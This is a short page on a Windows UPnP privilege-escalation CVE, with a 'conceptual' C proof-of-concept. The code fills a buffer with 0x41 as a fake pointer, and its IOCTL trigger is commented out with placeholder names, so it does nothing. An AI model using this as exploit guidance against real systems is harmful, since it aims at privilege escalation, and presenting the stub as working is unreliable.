CVE-2026-27919 Windows UPnP权限提升漏洞

/* * PoC Concept for CVE-2026-27919 * This is a conceptual demonstration of triggering the vulnerability. * Actual exploitation requires precise memory layout manipulation. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; // 1. Target the vulnerable UPnP Device Host interface // Note: The actual device name or IOCTL would need reverse engineering printf("[*] Attempting to access UPnP Device Host...\n"); // 2. Craft input buffer containing the untrusted pointer // 0x41414141 represents a controlled memory address to dereference char maliciousBuffer[0x20]; memset(maliciousBuffer, 0x41, sizeof(maliciousBuffer)); // 3. Send IOCTL to trigger the dereference // DeviceIoControl(hDevice, IOCTL_VULNERABLE_FUNC, ...); printf("[!] Triggering pointer dereference...\n"); // In a real exploit, this would cause the crash or privilege escalation return 0; }
